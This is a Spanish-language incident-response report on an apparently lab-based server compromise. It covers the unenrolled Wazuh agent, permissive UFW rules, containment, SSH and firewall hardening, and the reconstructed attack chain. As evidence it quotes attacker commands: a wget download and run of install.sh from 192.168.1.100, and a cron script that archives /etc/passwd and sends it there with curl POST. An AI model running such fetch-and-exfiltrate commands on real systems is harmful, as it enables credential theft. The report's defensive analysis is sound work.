Aug 13 16:59:53 4geeks-server env[730]: Started wazuh-modulesd...
Aug 13 16:59:55 4geeks-server env[730]: Completed.
Aug 13 16:59:55 4geeks-server systemd[1]: Started Wazuh agent.
sysadmin@4geeks-server:~$ _
```

- **Puertos/Sockets de red del agente**
 - ss -tulnp | grep wazuh / netstat -tulnp | grep wazuh → *sin puertos en escucha* (comportamiento esperado de un **agente**; no expone servicios).

```
Aug 13 16:59:55 4geeks-server systemd[1]: Started Wazuh agent.
sysadmin@4geeks-server:~$ sudo ss -tulnp | grep wazuh
sysadmin@4geeks-server:~$ sudo netstat -tulnp | grep wazuh
sysadmin@4geeks-server:~$ _
```

- **Registro del agente** `/var/ossec/logs/ossec.log`
 - Mensajes repetidos: `ERROR: (1208): Unable to connect to enrollment service at '127.0.0.1:1515' y "Requesting a key from server: 127.0.0.1".`
 - Interpretación: el agente intenta enrolarse contra **127.0.0.1** (inexistente en este host), por lo que está **huérfano**/mal configurado y generando ruido.

```

sysadmin@4geeks-server:~$ sudo netstat -tlnp | grep wazuh
sysadmin@4geeks-server:~$ sudo tail -f /var/ossec/logs/ossec.log
2025/08/19 09:43:06 wazuh-agentd: INFO: Starting new log after rotation.
2025/08/19 09:43:12 wazuh-agentd: INFO: Requesting a key from server: 127.0.0.1
2025/08/19 09:43:12 wazuh-agentd: ERROR: (1208): Unable to connect to enrollment service at '[127.0.0.1]:1515'
2025/08/19 09:43:57 wazuh-agentd: INFO: Requesting a key from server: 127.0.0.1
2025/08/19 09:43:57 wazuh-agentd: ERROR: (1208): Unable to connect to enrollment service at '[127.0.0.1]:1515'
2025/08/19 09:44:47 wazuh-agentd: INFO: Requesting a key from server: 127.0.0.1
2025/08/19 09:44:47 wazuh-agentd: ERROR: (1208): Unable to connect to enrollment service at '[127.0.0.1]:1515'
2025/08/19 09:45:42 wazuh-agentd: INFO: Requesting a key from server: 127.0.0.1
2025/08/19 09:45:42 wazuh-agentd: ERROR: (1208): Unable to connect to enrollment service at '[127.0.0.1]:1515'

```

Conclusión técnica

El host sólo necesita un **agente** cuando existe un **manager** corporativo. En este entorno de laboratorio no hay manager accesible, por lo que mantener el agente añade superficie y logs innecesarios.

3.6.1 ¿Por qué Wazuh no detectó los dos ataques?

1. **El agente no tenía Manager.**
Evidencia: `ossec.log` muestra `Unable to connect to enrollment service at 127.0.0.1:1515`. Sin Manager no hay reglas, correlación ni alertas.
2. **FIM por defecto no cubre /home.**
La creación/ejecución de `~/reports/install.sh` y artefactos en `/home/reports/` no se vigilan con la política base de Wazuh (suele incluir `/etc`, `/usr/bin`, `/var/ossec`, etc.). Sin incluir `/home` en `syscheck`, cambios allí pasan desapercibidos incluso con Manager.

3. Reglas locales/logs no configurados.

Si `ossec.conf` no incluye `localfile` para `/var/log/auth.log`, `/var/log/secure`, `sudo`, `apache`, etc., el agente no recoge eventos de fuerza bruta SSH o actividad web. En este host además se llegó a **poner en cuarentena `ossec.conf`** durante la higienización, dejando al agente sin fuentes de log.

4. Detección de fuerza bruta delegada en Fail2ban.

El bloqueo de intentos SSH lo realizó **Fail2ban** (con `jail.d/sshd.conf`), no Wazuh. Si Wazuh no recibía `auth.log`, no podía disparar sus propias reglas de `ssh_failed/ssh_bf`.

Implicación

Aunque el binario del agente estuviera activo, **no había cadena completa de detección** (fuentes de log → recolección → transporte → correlación → alerta). Por eso “*Wazuh no se enteró*” de los dos ataques.

Recomendaciones para que Wazuh detecte la próxima vez

- Desplegar un **Wazuh Manager** accesible y **enrolar** el agente (clave OK).
- Abrir salida a `tcp/1514-1515` únicamente hacia el Manager.
- En `ossec.conf` activar FIM en: `/etc`, `/usr/bin`, `/home/**`, `/var/spool/cron`, `/root`, y vigilar *wildcards* de `crontab`.
- Añadir `localfile` para: `auth.log`, `sudo`, `apache/access & error`, `cron`, `dpkg.log`.
- Habilitar políticas SCA (CIS Debian/Ubuntu) y *active response* (p. ej., bloqueo temporal de IP).
- Supervisar salud con `agent_control/agent-auth` y alertas de latido.

3.7 UFW/iptables: reglas por defecto y cómo facilitaron el ataque

Hallazgo

El servidor heredó una política de UFW/iptables generada por defecto que, vista en `iptables-save`, mostraba:

```

GNU nano 4.8                                reglas_iptables.txt
# Generated by iptables-save v1.8.4 on Wed Aug 20 17:23:28 2025
*filter
:INPUT DROP [31:1116]
:FORWARD DROP [0:0]
:OUTPUT ACCEPT [0:0]
:ufw-after-forward - [0:0]
:ufw-after-input - [0:0]
:ufw-after-logging-forward - [0:0]
:ufw-after-logging-input - [0:0]
:ufw-after-logging-output - [0:0]
:ufw-after-output - [0:0]
:ufw-before-forward - [0:0]
:ufw-before-input - [0:0]
:ufw-before-logging-forward - [0:0]
:ufw-before-logging-input - [0:0]
:ufw-before-logging-output - [0:0]
:ufw-before-output - [0:0]
:ufw-logging-allow - [0:0]
:ufw-logging-deny - [0:0]
:ufw-not-local - [0:0]
:ufw-reject-forward - [0:0]
:ufw-reject-input - [0:0]
:ufw-reject-output - [0:0]
:ufw-skip-to-policy-forward - [0:0]
:ufw-skip-to-policy-input - [0:0]
:ufw-skip-to-policy-output - [0:0]
:ufw-track-forward - [0:0]
:ufw-track-input - [0:0]
:ufw-track-output - [0:0]
:ufw-user-forward - [0:0]
:ufw-user-input - [0:0]
:ufw-user-limit - [0:0]
:ufw-user-limit-accept - [0:0]

```

[Read 110 Lines]

```

GNU nano 4.8                                reglas_iptables.txt
:ufw-user-limit-accept - [0:0]
:ufw-user-logging-forward - [0:0]
:ufw-user-logging-input - [0:0]
:ufw-user-logging-output - [0:0]
:ufw-user-output - [0:0]
-A INPUT -j ufw-before-logging-input
-A INPUT -j ufw-before-input
-A INPUT -j ufw-after-input
-A INPUT -j ufw-after-logging-input
-A INPUT -j ufw-reject-input
-A INPUT -j ufw-track-input
-A FORWARD -j ufw-before-logging-forward
-A FORWARD -j ufw-before-forward
-A FORWARD -j ufw-after-forward
-A FORWARD -j ufw-after-logging-forward
-A FORWARD -j ufw-reject-forward
-A FORWARD -j ufw-track-forward
-A OUTPUT -j ufw-before-logging-output
-A OUTPUT -j ufw-before-output
-A OUTPUT -j ufw-after-output
-A OUTPUT -j ufw-after-logging-output
-A OUTPUT -j ufw-reject-output
-A OUTPUT -j ufw-track-output
-A ufw-after-input -p udp -m udp --dport 137 -j ufw-skip-to-policy-input
-A ufw-after-input -p udp -m udp --dport 138 -j ufw-skip-to-policy-input
-A ufw-after-input -p tcp -m tcp --dport 139 -j ufw-skip-to-policy-input
-A ufw-after-input -p tcp -m tcp --dport 445 -j ufw-skip-to-policy-input
-A ufw-after-input -p udp -m udp --dport 67 -j ufw-skip-to-policy-input
-A ufw-after-input -p udp -m udp --dport 68 -j ufw-skip-to-policy-input
-A ufw-after-input -m addrtype --dst-type BROADCAST -j ufw-skip-to-policy-input
-A ufw-after-logging-forward -m limit --limit 3/min --limit-burst 10 -j LOG --log-prefix "[UFW BLOC
-A ufw-after-logging-input -m limit --limit 3/min --limit-burst 10 -j LOG --log-prefix "[UFW BLOCK]
-A ufw-before-forward -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT

```



```

GNU nano 4.8                      reglas_iptables.txt
-A ufw-before-forward -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
-A ufw-before-forward -p icmp -m icmp --icmp-type 3 -j ACCEPT
-A ufw-before-forward -p icmp -m icmp --icmp-type 11 -j ACCEPT
-A ufw-before-forward -p icmp -m icmp --icmp-type 12 -j ACCEPT
-A ufw-before-forward -p icmp -m icmp --icmp-type 8 -j ACCEPT
-A ufw-before-forward -j ufw-user-forward
-A ufw-before-input -i lo -j ACCEPT
-A ufw-before-input -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
-A ufw-before-input -m conntrack --ctstate INVALID -j ufw-logging-deny
-A ufw-before-input -m conntrack --ctstate INVALID -j DROP
-A ufw-before-input -p icmp -m icmp --icmp-type 3 -j ACCEPT
-A ufw-before-input -p icmp -m icmp --icmp-type 11 -j ACCEPT
-A ufw-before-input -p icmp -m icmp --icmp-type 12 -j ACCEPT
-A ufw-before-input -p icmp -m icmp --icmp-type 8 -j ACCEPT
-A ufw-before-input -p udp -m udp --sport 67 --dport 68 -j ACCEPT
-A ufw-before-input -j ufw-not-local
-A ufw-before-input -d 224.0.0.251/32 -p udp -m udp --dport 5353 -j ACCEPT
-A ufw-before-input -d 239.255.255.250/32 -p udp -m udp --dport 1900 -j ACCEPT
-A ufw-before-input -j ufw-user-input
-A ufw-before-output -o lo -j ACCEPT
-A ufw-before-output -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
-A ufw-before-output -j ufw-user-output
-A ufw-logging-allow -m limit --limit 3/min --limit-burst 10 -j LOG --log-prefix "[UFW ALLOW] "
-A ufw-logging-deny -m conntrack --ctstate INVALID -m limit --limit 3/min --limit-burst 10 -j RETURN
-A ufw-logging-deny -m limit --limit 3/min --limit-burst 10 -j LOG --log-prefix "[UFW BLOCK] "
-A ufw-not-local -m addrtype --dst-type LOCAL -j RETURN
-A ufw-not-local -m addrtype --dst-type MULTICAST -j RETURN
-A ufw-not-local -m addrtype --dst-type BROADCAST -j RETURN
-A ufw-not-local -m limit --limit 3/min --limit-burst 10 -j ufw-logging-deny
-A ufw-not-local -j DROP
-A ufw-skip-to-policy-forward -j DROP
-A ufw-skip-to-policy-input -j DROP
-A ufw-skip-to-policy-output -j ACCEPT

```

```

GNU nano 4.8                      reglas_iptables.txt
-A ufw-before-input -p udp -m udp --sport 67 --dport 68 -j ACCEPT
-A ufw-before-input -j ufw-not-local
-A ufw-before-input -d 224.0.0.251/32 -p udp -m udp --dport 5353 -j ACCEPT
-A ufw-before-input -d 239.255.255.250/32 -p udp -m udp --dport 1900 -j ACCEPT
-A ufw-before-input -j ufw-user-input
-A ufw-before-output -o lo -j ACCEPT
-A ufw-before-output -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
-A ufw-before-output -j ufw-user-output
-A ufw-logging-allow -m limit --limit 3/min --limit-burst 10 -j LOG --log-prefix "[UFW ALLOW] "
-A ufw-logging-deny -m conntrack --ctstate INVALID -m limit --limit 3/min --limit-burst 10 -j RETURN
-A ufw-logging-deny -m limit --limit 3/min --limit-burst 10 -j LOG --log-prefix "[UFW BLOCK] "
-A ufw-not-local -m addrtype --dst-type LOCAL -j RETURN
-A ufw-not-local -m addrtype --dst-type MULTICAST -j RETURN
-A ufw-not-local -m addrtype --dst-type BROADCAST -j RETURN
-A ufw-not-local -m limit --limit 3/min --limit-burst 10 -j ufw-logging-deny
-A ufw-not-local -j DROP
-A ufw-skip-to-policy-forward -j DROP
-A ufw-skip-to-policy-input -j DROP
-A ufw-skip-to-policy-output -j ACCEPT
-A ufw-track-output -p tcp -m conntrack --ctstate NEW -j ACCEPT
-A ufw-track-output -p udp -m conntrack --ctstate NEW -j ACCEPT
-A ufw-user-input -p tcp -m tcp --dport 22 -j ACCEPT
-A ufw-user-input -p udp -m udp --dport 22 -j ACCEPT
-A ufw-user-input -p tcp -m tcp --dport 80 -j ACCEPT
-A ufw-user-input -p udp -m udp --dport 80 -j ACCEPT
-A ufw-user-input -p tcp -m tcp --dport 21 -j ACCEPT
-A ufw-user-input -p udp -m udp --dport 21 -j ACCEPT
-A ufw-user-limit -m limit --limit 3/min -j LOG --log-prefix "[UFW LIMIT BLOCK] "
-A ufw-user-limit -j REJECT --reject-with icmp-port-unreachable
-A ufw-user-limit-accept -j ACCEPT
COMMIT
# Completed on Wed Aug 20 17:23:28 2025

```

- `:OUTPUT ACCEPT` → todo el tráfico saliente permitido.
- Reglas `ufw-user-input` con **ACCEPT** para `22/tcp`, `80/tcp`, `443/tcp` y **21/tcp (FTP)**, además de **22/udp**.
- Reglas *before* que **permitían ICMP echo-request** (ping) y **multicast** (`224.0.0.251:5353 mDNS`, `239.255.255.250:1900 SSDP`).

Por qué esto fue un problema

Estas reglas contribuyeron **directamente** a la cadena de compromiso:

1. Acceso inicial por SSH (22/tcp)

El 21/06 aparecen múltiples intentos fallidos desde `192.168.1.103`. Que existan implica que **el puerto 22/tcp estaba abierto** (UFW lo permitía) y, en ese momento, **PasswordAuthentication estaba activo**. Tras varias pruebas, el atacante consiguió credenciales y entró como *sysadmin/reports*.

2. Persistencia/uso de FTP

UFW permitía `21/tcp`. Aunque más tarde el servicio se desactivó, mientras estuvo habilitado un tercero pudo **autenticarse en FTP con reports:reports123** (según nos comunicaron) y subir/descargar ficheros sin bloqueo de firewall.

3. Exfiltración sin fricción

Con `OUTPUT ACCEPT`, el script `backup2.sh` pudo **exfiltrar /etc/passwd hacia http://192.168.1.100:8080**, y `install.sh` pudo descargar el payload externo. Si la salida hubiese estado denegada por defecto, estas acciones habrían fallado salvo reglas explícitas.


4. Reconocimiento innecesario

El **ping entrante** y el **multicast (mDNS/SSDP)** daban señales de vida y superficies de descubrimiento que no aportan valor en un servidor.

5. Ruido/ataque lateral

La presencia de **22/udp** es innecesaria para SSH y amplía superficie.

Medidas correctivas aplicadas

- Cierre de `22/tcp` y `21/tcp`; mantenimiento solo de `2222/tcp` para administración ( `ufw status`).
- **Bloqueo de ICMP echo-request** y de `mDNS/SSDP` en `before.rules`.
- Revisión de políticas: **deny outgoing** + aperturas mínimas (`DNS 53/UDP`, `NTP 123/UDP`, `APT 80/443/TCP`).
- Activación de `ufw limit 2222/tcp` para rate-limit en SSH.

Conclusión sobre el firewall

Las reglas por defecto de UFW **facilitaron** el ataque: permitieron el **acceso inicial por SSH (22/tcp)**, el **uso de FTP** y la **exfiltración** hacia `192.168.1.100:8080`. Tras endurecer el cortafuegos y restringir la salida, **la misma cadena de ataque ya no sería viable** sin introducir nuevas excepciones o vulnerabilidades.

4 . Acciones de contención y remoción

1. Cuarentena

```
mkdir -p /root/IR/quarantine/wazuh_extras
while read -r f; do
    [ -e "$f" ] || continue
    echo "quarantine: $f"
    cp --parents "$f" /root/IR/quarantine/wazuh_extras/
    rm -f "$f"
done < /root/IR/pkg_audit/wazuh_extras.txt
```

```
root@4geeks-server:~# mkdir -p /root/IR/quarantine/wazuh_extras2
root@4geeks-server:~# while read -r f; do
> [ -e "$f" ] || continue
> echo "quarentine: $f"
> cp --parents "$f" /root/IR/quarantine/wazuh_extras2/
> rm -f "$f"
> done < /root/IR/pkg_audit/wazuh_extras2.txt
quarentine: /var/ossec/etc/ossec.conf
root@4geeks-server:~#
```

2.Purga del paquete

```
apt-get purge -y wazuh-agent
```

```
apt-get autoremove -y
```

```
root@4geeks-server:~# systemctl stop wazuh-agent.service 2>/dev/null
root@4geeks-server:~# systemctl disable wazuh-agent.service
Removed /etc/systemd/system/multi-user.target.wants/wazuh-agent.service.
root@4geeks-server:~# systemctl mask wazuh-agent.service
Created symlink /etc/systemd/system/wazuh-agent.service → /dev/null.
root@4geeks-server:~# apt-get purge -y wazuh-agent
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages will be REMOVED:
  wazuh-agent*
0 upgraded, 0 newly installed, 1 to remove and 0 not upgraded.
1 not fully installed or removed.
After this operation, 44.0 MB disk space will be freed.
(Reading database ... 77073 files and directories currently installed.)
Removing wazuh-agent (4.12.0-1) ...
(Reading database ... 76648 files and directories currently installed.)
Purging configuration files for wazuh-agent (4.12.0-1) ...
dpkg: warning: wazuh-agent: conffile '/etc/systemd/system/wazuh-agent.service' is not a plain file o
r symlink (= '/dev/null')
dpkg: warning: while removing wazuh-agent, directory '/usr/lib/systemd/system' not empty so not remo
ved
Processing triggers for systemd (245.4-4ubuntu3.24) ...
root@4geeks-server:~# _
```

3.Registro de hardening

```
echo "$(date -u) wazuh-agent purgado tras detección de binarios adulterados" \
>> /root/IR/hardening.log
```

4.Verificación post-remoción

Nuevo dpkg -l | grep wazuh → sin resultados.
Nuevo ss -tunlp | grep 1514 → sin sockets abiertos

```
cannot parse asterisk address.  
root@4geeks-server:~# ss -tunlp | grep 1514  
root@4geeks-server:~# dpkg -l | grep wazuh  
root@4geeks-server:~# _
```

5 . Conclusión

La combinación de:

- **Instalador no oficial + hash distinto,**
- **180 ficheros con MD5 alterado,**
- **contacto a IP sospechosa** y modificaciones en *ossec.conf*,
- **comportamiento runtime anómalo,**

Demuestra que el *wazuh-agent* había sido trojanizado para **exfiltrar datos o mantener C2**.

Tras poner en cuarentena los binarios y purgar el paquete, el host quedó limpio de esa persistencia.

4 · Contención y Erradicación

1. Deshabilitar cron/timers maliciosos.
2. Bloquear/eliminar usuarios ilegítimos; rotar contraseñas.

```

root@4geeks-server:~# usermod --lock --expiredate 1 hacker
root@4geeks-server:~# id hacker
uid=1002(hacker) gid=1002(hacker) groups=1002(hacker)
root@4geeks-server:~# getent passwd hacker

Command 'getent' not found, did you mean:

  command 'getenv' from snap getenv (0.3.1)
  command 'getent' from deb libc-bin (2.31-0ubuntu9.17)

See 'snap info <snapname>' for additional versions.

root@4geeks-server:~# getent passwd hacker
hacker:x:1002:1002::/home/hacker:/bin/bash
root@4geeks-server:~# ls -la /home/hacker/
total 20
drwxr-xr-x 2 hacker hacker 4096 Jun 23 15:02 .
drwxr-xr-x 5 root   root   4096 Jun 23 15:02 ..
-rw-r--r-- 1 hacker hacker 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 hacker hacker 3771 Feb 25 2020 .bashrc
-rw-r--r-- 1 hacker hacker 807 Feb 25 2020 .profile
root@4geeks-server:~# cp -a /home/hacker /root/IR/hacker_home
root@4geeks-server:~# grep -R hacker /etc/sudoers* 2>/dev/n
net/  null  nvram
root@4geeks-server:~# grep -R hacker /etc/sudoers* 2>/dev/null
root@4geeks-server:~# grep -R hacker /etc/sudoers* 2>/dev/null
root@4geeks-server:~# grep hacker /etc/group
hacker:x:1002:
root@4geeks-server:~# grep -R "ssh-rsa" /home/hacker/ .ssh/ 2>/dev/null
root@4geeks-server:~#

```

```

root@4geeks-server:~# userdel -r hacker
userdel: hacker mail spool (/var/mail/hacker) not found
root@4geeks-server:~#

```

Ctrl Derecho

3. Firewall restrictivo + Fail2Ban + auditd.

1. Restauramos a fábrica (borra las reglas anteriores)

```
sudo ufw --force reset
```

2. Políticas por defecto ultra-restrictivas

```
sudo ufw default deny incoming    # Bloquea TODO lo que entra
```

```
sudo ufw default deny outgoing    # Bloquea TODO lo que sale*
```

```
sudo ufw default deny routed      # Sin reenvío
```

3. Excepciones ****mínimas**** que necesita el sistema

3.1 Loopback local (obligatorio para que funcionen muchos servicios)

```
sudo ufw allow in on lo
```

```
sudo ufw allow out on lo
```

3.2 DNS y NTP salientes para que la máquina resuelva nombres y tenga hora

```
sudo ufw allow out 53 proto udp comment 'DNS'
```

```
sudo ufw allow out 123 proto udp comment 'NTP'
```

3.3 Actualizaciones APT (HTTP/HTTPS salientes)

```
sudo ufw allow out 80 proto tcp comment 'HTTP outbound'
```

```
sudo ufw allow out 443 proto tcp comment 'HTTPS outbound'
```

3.4 Acceso SSH *solo* desde tu host Parrot (192.168.1.32)

```
sudo ufw allow in 2222/tcp from 192.168.1.32 comment 'SSH admin'
```

3.5 Servidor web (si realmente lo necesitas público)

```
# sudo ufw allow in 80/tcp comment 'HTTP server'
```

```
# sudo ufw allow in 443/tcp comment 'HTTPS server'
```

3.6 Permitir ping saliente pero bloquear el entrante

```
sudo ufw allow out proto icmp comment 'ICMP out'
```

```
sudo ufw deny in proto icmp comment 'ICMP in'
```

4 Activamos *rate limit* contra fuerza bruta en SSH

```
sudo ufw limit in 2222/tcp comment 'SSH brute-force protection'
```

5. Activamos logging en modo “low” (suficiente para auditoría)

```
sudo ufw logging low
```

6. Encendemos el cortafuegos

```
sudo ufw enable
```

7. Revisión rápida

sudo ufw status numbered verbose

```
sorry but the jail 'jail' does not exist
root@4geeks-server:~# sudo fail2ban-client status
Status
|- Number of jail:      1
|- Jail list:          sshd
root@4geeks-server:~# sudo fail2ban-client status sshd
Status for the jail: sshd
|- Filter
|  |- Currently failed: 0
|  |- Total failed:    0
|  \- File list:       /var/log/auth.log
\-- Actions
    |- Currently banned: 0
    |- Total banned:    0
    \- Banned IP list:
root@4geeks-server:~# _
```

4. Limpieza de paquetes y scripts maliciosos (quarantine).

```
root@4geeks-server:~/IR/quarantine# ls
backup2.sh clam install.sh nc wazuh_extras wazuh_extras2
root@4geeks-server:~/IR/quarantine#
```

5. Base AIDE regenerada, escaneo ClamAV limpio.

5 · Recuperación y Verificación

- Servicios: SSH 2222.
- `systemctl --failed = 0`.
- `rkhunter`, `chkrootkit`, `unhide` sin hallazgos.

```
----- SCAN SUMMARY -----
Known viruses: 8718212
Engine version: 0.103.12
Scanned directories: 29068
Scanned files: 83351
Infected files: 0
Total errors: 56148
Data scanned: 3997.45 MB
Data read: 8978.05 MB (ratio 0.45:1)
Time: 3750.412 sec (62 m 30 s)
Start Date: 2025:07:29 16:54:22
End Date: 2025:07:29 17:56:52
```

```
Some closed ports may be reported as filtered due to -detect-irc-floodmit
PORT      STATE SERVICE REASON      VERSION
2222/tcp  open  ssh      syn-ack ttl 64  OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 bf:d2:ea:1f:f8:ad:4a:d2:6f:c9:67:d7:ad:bc:e1:01 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQDeEsIxTwtV1pEuYvFJkuSDM8a+qEtzaN5ClqUXdFVUS30rix8hKqFkF6tfqLJ7EVQZRMKyUpIWWqiu8aIz0TdP7ImW7o1vs0d8IoCWHGHp6QLqEhcPoJT0AikyYtYwILJJ9tyG2rc77uAF9DGG3Dah
BxBXZerdYtTe3IdSp8MKkxyk8Fz0EF0qLLQMIlqDkmsJ8bMCjxvu16ejnHTaXQpDnwX0sMqvNYuVpiuP0Jp7/9K13Yip1tSDfvo4ZuRha0VpjpzS9nML01zyEqU9J31Cd4d5Ge12paSS29+k4Aqp1/cCemMNP3Nc97HLUnqqp8dhbLGNgc13eEzuKFzkt
8a77PVGm2EiZPNwLkftV50TS0Xx7xHDvvsXS/rJ6ssZ5dXwL2SX1kCRoqFVN3XHraCI5TEb5GC017eMUCS1A4WlsilwSpzMNny7zkLlwmLeqUX97AARwLYNVKwzu18nHyGAWq0WRB0lUpz3InNPoPwyNM5UPMZFiEWwzt1TUM=
|   256 db:08:7f:6e:35:ce:76:2a:5d:09:9b:2f:e3:58:94:da (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFbjcZBwjLjThyaTSXKN1XqUKAFAKTS5SC2x2VKsFJjMQqrqG8LMRQiNpFNGyi42oJc7oyZ7QR5LJFDt+BENNKc=
|   256 79:cb:db:43:d9:45:a4:4b:70:4d:39:ec:6e:ea:d8:67 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDT05CMR9c7upZW5oq6Q8CE8EthACMJtlz0PSidkLxc
MAC Address: 08:00:27:51:E2:B8 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

6 · Endurecimiento aplicado

Área	Ajuste realizado
SSH	Puerto 2222, PasswordAuthentication no, claves RSA 3072-bit
Firewall	UFW deny incoming; allow 80,443,2222
Fail2Ban	Jail ssh, ban 1 h tras 4 intentos
Auditd	Regla execve /tmp y cambios SUID
Unattended-Upgrades	Activado


```

root@4geeks-server:~# grep -Ei '^(Port|PasswordAuthentication|PubkeyAuthentication)' /etc/ssh/sshd_config
Port 2222
PubkeyAuthentication yes
PasswordAuthentication no
root@4geeks-server:~# _

```

7 · Pasos siguientes

- Analizar snapshots y backups externos buscando IOCs.
- Desplegar Velociraptor para cacería continua.
- Documentar política de contraseñas robustas; rotación trimestral.
- Calendarizar escaneo AIDE + ClamAV semanal.

8 · SHA-256 de artefactos (quarantine)

```

root@4geeks-server:~/IR# cat SHA256SUMS.txt
f679152f3b3dcea39f0df7037cd28028b353473ae1de6706c2be78d3455aa969 /root/IR/quarantine/backup2.sh
d4141743bc2a05e80bc815f340653bc9d68fa9ecb86e11f77571c4358e2c1578 /root/IR/backup2_cron_original.txt
16b3a3af7d47b1cc878e4bcf1cac70c1c977dc492d9a825fdde1152fad928b2f /root/IR/backup2_journal.txt
daffa76701ac038c20741fbbf456097004776175e52a0c58c2af63da7f6a98b7 wazuh-install.diff
e7eceb03d38bbcb37ee88aab2e380a01743ce58ef99b6ae388d3aa1cb7b422f9 /root/IR/users/reports/install.sh
ded379d3a22aeb4d9fc0753fd120bbdacbded6879cfb2d25e0bad171a09e4e66 /root/IR/users/user_creation.txt
93a8b80cf928d6b7ed8062283898bded46f74a2df56b9f24c1f2c4b41263a0 /root/IR/hardening.log
bbe233d3af2fb746ecea862faa9d10e0102dbba1fc135d395648eb1df3f1ac9 /root/IR/hardening.log
3cda7bbfba814720b13122dafa6de57852a14a2211989ccb0b314ab93d231711 /root/IR/deep_hunt/ls_of_deleted_ok
.txt
04bce7eb43ef628934b20e38a8c0940007df8135bf2f2cc7c459092edcdea628 /root/IR/quarantine/nc
df72d2705d53e809102d650a9b7f946aa4167eeb0c91a0d3d5ee1f7bb69d0b67 /root/IR/pkg_audit/wazuh_verify.tx
t
root@4geeks-server:~/IR#

```

9. Seguridad endurecida

Barreras contra fuerza bruta en SSH

Capa	Mecanismo	Efecto frente a fuerza bruta
PasswordAuthentication = no	Deshabilita cualquier login por contraseña.	El atacante no puede probar contraseñas; solo se aceptan claves.
Clave pública obligatoria	PubkeyAuthentication yes & claves RSA 3072-bit/ED25519 de alta entropía.	Las claves no son factibles de adivinar por diccionario o fuerza bruta.
Puerto no estándar 2222	Mueve SSH fuera del puerto 22.	Reduce el ruido de bots

Firewall UFW restrictivo	<code>deny incoming</code> y solo 80/443/2222 permitidos.	que sólo atacan 22. Limita superficie de ataque de red.
Fail2Ban (jail ssh)	Bannea IP 1 h tras 4 fallos.	Detiene intentos de password-spraying o key-guessing repetitivos.

Conclusión: Con estas defensas en capas, los intentos automatizados de fuerza bruta son prácticamente ineficaces; el atacante necesitaría la clave privada legítima y la dirección IP no quedará bloqueada.

Conclusión del incidente: ¿Cómo se comprometió el servidor?

A continuación se resume, de forma clara y paso a paso, la **cadena de compromiso** reconstruida con las evidencias recopiladas en el análisis:

1. Superficie de ataque inicial habilitada

- El servidor estaba expuesto con **SSH en 22/tcp con autenticación por contraseña y FTP (vsftpd) activo**.
- Existía el usuario **reports** (UID propio) con contraseña débil/divulgada (`reports:reports123`).
- Wazuh Agent estaba instalado pero **no enrolado** contra ningún Manager (errores ERROR (1208), sin telemetría ni correlación).

2. Acceso inicial del atacante

- El acceso se produjo **con credenciales válidas de reports**. Hay dos vectores plausibles y compatibles con la evidencia:
 - **SSH** (interactivo): el **.bash_history de reports** muestra uso de `wget` y ejecución directa de scripts (indicador claro de shell interactiva).
 - **FTP**: estuvo **activo** y aceptaba `reports:reports123`; un tercero pudo **subir** el script y luego ejecutarlo accediendo por SSH.
- *Evidencias:* `~reports/.bash_history` con `wget http://192.168.1.100/install.sh` y `./install.sh`; servicio `vsftpd` estaba activo antes de su desactivación/quarantena.

3. Ejecución de payload y establecimiento de persistencia

- El script **install.sh** descargó **payload.bin** desde **192.168.1.100** y lo ejecutó desde **/tmp/.temp/payload**.
- Se dejó **persistencia por cron**: **/etc/cron.d/sys-maintenance** (cada 15 min) llamando a **/usr/local/bin/backup2.sh**.
- *Evidencias*: **backup2.sh** contenía **tar -czf /tmp/secrets.tgz /etc/passwd** y **exfiltración** vía **curl -X POST** a **http://192.168.1.100:8080/upload**.
- Se observó **backup.log** con mensajes de “Compressing /etc/shadow...” y “Uploading to 192.168.1.100:8080”.

4. Exfiltración y ocultación

- La tarea en cron **recolectaba credenciales** (ej. **/etc/passwd /etc/shadow**) y **exfiltraba** a **192.168.1.100:8080** de forma periódica.
- Se hallaron artefactos de engaño/engaño social: **chat.txt** (“*Hey, run that script I sent you earlier...*”) y **note** en el **home de reports**.
- Hubo intento de **sembrar historiales** (líneas inyectadas en **.bash_history** de usuarios) y creación de usuario **hacker** (backdoor) días después.

5. Por qué Wazuh no alertó

- Aunque el servicio estaba **activo**, el Agent **no estaba enrolado** en un Manager funcional (intentos de clave contra **127.0.0.1:1515** fallidos), por lo que **no había correlación ni envío de eventos**.
- La política de red inicial carecía de control **egress** y el FIM/SCA por defecto no alcanzó a cubrir el vector hasta que se completó el hardening.

6. Contención y erradicación

- **Cuarentena** de **install.sh**, **backup2.sh** y entrada de **cron** maliciosa; **despliegue** de reglas UFW restrictivas; **Fail2Ban** activo; **SSH** movido a **2222/tcp** y **solo claves**; **FTP deshabilitado** y **conf/binarios** a **/root/IR/quarantine/ftp/**.
- **Credenciales rotadas** (incluido **root**) y **usuarios maliciosos** eliminados o bloqueados.
- **ClamAV** y **AIDE** sin IOC tras limpieza; **Wazuh** revisado (pendiente enrrollar a Manager real y abrir únicamente **1514/1515** hacia él).

Causa raíz

Compromiso por **uso de credenciales válidas de reports** (password conocida/débil y presencia de FTP/SSH con contraseña) combinado con **engaño social** que llevó a la **ejecución local de install.sh**. El **déficit de telemetría** (Wazuh sin Manager) y la **falta de control de salida** facilitaron la **persistencia** (cron) y la **exfiltración** hacia **192.168.1.100:8080**.

Lecciones aprendidas (alto nivel)

- Política **passwordless** (solo **claves**), **MFA** cuando aplique y **rotación de credenciales**.
- **Cierre** de servicios no usados (FTP) y **mínimo egress** por UFW.
- **Enrolar Wazuh Agent** a un Manager real y validar salud (eventos, FIM, SCA).
- **Concienciación** frente a adjuntos/enlaces externos; uso de allow-list y aislamiento.

Anexo F — Evidencias adicionales (usuario reports)

F.1 backup.log — Compresión de /etc/shadow y exfiltración a <http://192.168.1.100:8080>

